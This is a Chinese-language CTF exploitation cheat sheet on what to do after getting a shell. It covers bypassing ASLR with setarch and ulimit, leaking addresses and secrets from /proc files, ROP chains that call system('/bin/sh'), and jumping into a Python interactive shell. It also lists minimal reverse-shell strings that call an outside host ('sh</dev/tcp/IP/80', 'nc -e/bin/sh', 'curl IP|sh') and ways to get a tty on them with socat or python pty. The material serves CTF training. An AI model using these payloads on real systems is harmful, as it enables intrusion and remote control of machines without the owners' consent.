本地权限提升下的ASLR
- 这类问题在getshell后有方法可以禁用ASLR
- http://inaz2.hatenablog.com/entry/2014/07/23/001318
- ulimit -s unlimited (仅限32位进程)
- 这种方式可以启动一个禁用ASLR的bash会话
- setarch
uname -m
-R /bin/bash(32位,64位都可以) - 但是对于setuid的二进制程序无效
- setarch
- 这样是一个固定的随机地址
利用procfs
- /proc/self/maps : 可以知道内存映射(无视ASLR)
- 可以获得运行中进程的完整路径以及libc路径
- /proc/self/stat : 可以知道进程的准确栈地址
- 不如maps,但可以获得大量信息
- /proc默认权限是可读的
- 信息宝库
- 因为它太强了,某些题目会修改它的权限
- /proc/self/environ : 可以获得进程的环境变量
- /proc/self/mounts : 可以获得mount信息
- /proc/self/cmdline : 可以获得进程启动时的命令行参数
- 可以通过/proc/$PPID/cmdline获得其他进程的信息
- 可以从/proc/self/stat获得$PPID
- 父进程的启动参数中也会有有用信息
- 检查这些内容可能获得突破
- /proc/self/mem : 可以重写自身内存,即使是.text
- 部分CTF沙盒题目会用到
- /proc/self/fd/N : 即使文件名未知也可以指定,只要它是打开的
- /proc/self/fdinfo/N : 可以确定文件的当前搜索(seek)位置
- /proc/$PID/root : 可以引用另一个namespace中运行的进程
- /proc/$PID/cwd : 同样,可能引用cwd
- /proc/$PID/mountinfo : 同样,可能获取mount信息
可写目录
任何人都可以写的目录
- /tmp
- /var/tmp
如果设置了SBIT
- /var/metrics
- /var/crash
- /run/shm
- /run/lock
利用字符串”sh\0”
执行ROP时,最终需要执行system(“/bin/sh”)
- x86: p32(libc_system) + p32(dummy) + p32(&”/bin/sh”)
- x64: p64(pop_rdi) + p64(&”/bin/sh”) + p64(libc_system)
第一个参数需要字符串”/bin/sh”
- 一般是在libc中
- 因此,通常需要这些步骤:
- 确定libc版本
- 泄漏libc相关地址
- libc_base + offset_binsh = libc_binsh
但是,system()需要通过PATH来搜索执行
- 因此,如果PATH没有被删除,甚至可以直接system(“sh”)
- 通常,”/bin”的PATH会保留
如果存在”sh\0”这样的字符串,就可以利用
- http://akiym.hateblo.jp/entry/2015/07/12/192517
- 在地址固定区域(例如.data)使用字符串”sh\0”
- fflush, slash, hash之类的都可以
- gdb-peda$ find 0x006873
可以利用的不仅仅是libc
- libpthread也是CTF常用的库
- 当使用多线程时,经常用到的库
- 这是少数具有system()和’sh’的库之一
- 还有其他库也有这些,但并不常用
- https://www.youtube.com/watch?v=td1KEUhlSuk
- 11:00~左右,这个视频中没有使用’sh’,只使用了system()
Python的interactive
涉及Python二进制文件的漏洞利用案例
- 这种情况下,某些情况不需要突破ASLR
- 假设我们已经控制了RIP
- 我们可以尝试跳转到python shell
- 运行此shell的函数是PyRun_InteractiveLoop
- 通过溢出或者重写函数指针跳转到PyRun_InteractiveLoop
- 启动Python交互shell
- Python二进制文件没有PIE,这个函数地址是固定的
- 因为不涉及glibc,所以也不需要system(不需要考虑绕过ASLR)
- 但是需要注意,有必要获取目标环境的Python二进制文件来确定地址偏移等信息
- 某些情况,即使成功也会产生SIGSEGV
- 获取python shell之后,就可以直接调用os.system()
- php,perl,ruby等都有类似的函数
- 但是,能否无参数(无条件)启用交互式shell,不确定
- 例题 :31C3 CTF 2014 - sarge
获取shell的短字符串
system(任意字符串)
- 假设参数字符串的长度受限
- 可以尝试使用最短的字符串
xinetd类型
- fd固定为0,1,2,只需要使用’sh’(包含空字符共3个字节)就可以
fork-server类型
- ‘sh<&4’(6个字节)之类的(如果socket fd为4)
- 打开shell后,使用’bash -i >&4 2>&4’获得更多输出
- SECUINSIDE 2014 - givemeshell
如果fd关闭
- 只能反弹shell
- bash: ‘sh</dev/tcp/111.222.333.444/80’(最大31字节)
- 回连之后,使用’bash -i >&0 2>&0’获取输出
- netcat: ‘nc -e/bin/sh 111.222.333.444 80’(最大32字节)
- 更好的选择是’curl 111.222.333.444|sh’(最大24字节)
- 自己开启服务,返回想要执行的代码
- 将获取的响应传递给sh
- 获取反弹shell
- 可以使用较短的域名
- 例题:32C3 CTF 2015 - cryptmsg
- 如果能够上传文件
- 上传反弹shell的代码
- 默认情况下,没有执行权限,需要将它作为sh的参数
- ‘sh /tmp/x’之类的,只需要10个字节
- 也可以使用通配符以及表示source的点
- 例如
'. /*/J*'
,只需要8个字节- 无论文件名多长,这种方式都能使其足够短
- 通配符选择找到的第一个
- 因此最好使文件名比较独特
- 例题:Hack.lu CTF 2015 - Petition Builder
回连之后获取tty的方法
- 如果想要执行su,sudo,或者其他需要tty的命令
- 可以在stage2时关闭no-tty的fd
- 有四种方法
1. 使用Python
- python -c ‘import pty; pty.spawn(“/bin/sh”)’
2. 使用expect
- ./expect -c ‘spawn sh; interact’
- 需要自己上传expect及依赖库
3. 使用socat
- https://wiki.mma.club.uec.ac.jp/ytoku/CTF/Writeup/AdventCalendarCTF2014/2014-12-24
- 上传socat及依赖库
- 本地端:socat `tty`,raw,echo=0 TCP-L:80,reuseaddr
- 远程端:
./socat TCP:<ipaddr>:80 exec:bash,pty,stderr,setsid
4. 使用script
- SHELL=/bin/bash script -q /dev/null
同样,php,perl,ruby之类的也可以
- adctf - RegExp Quiz
- CodeGate 2015 - Rodent (stage2)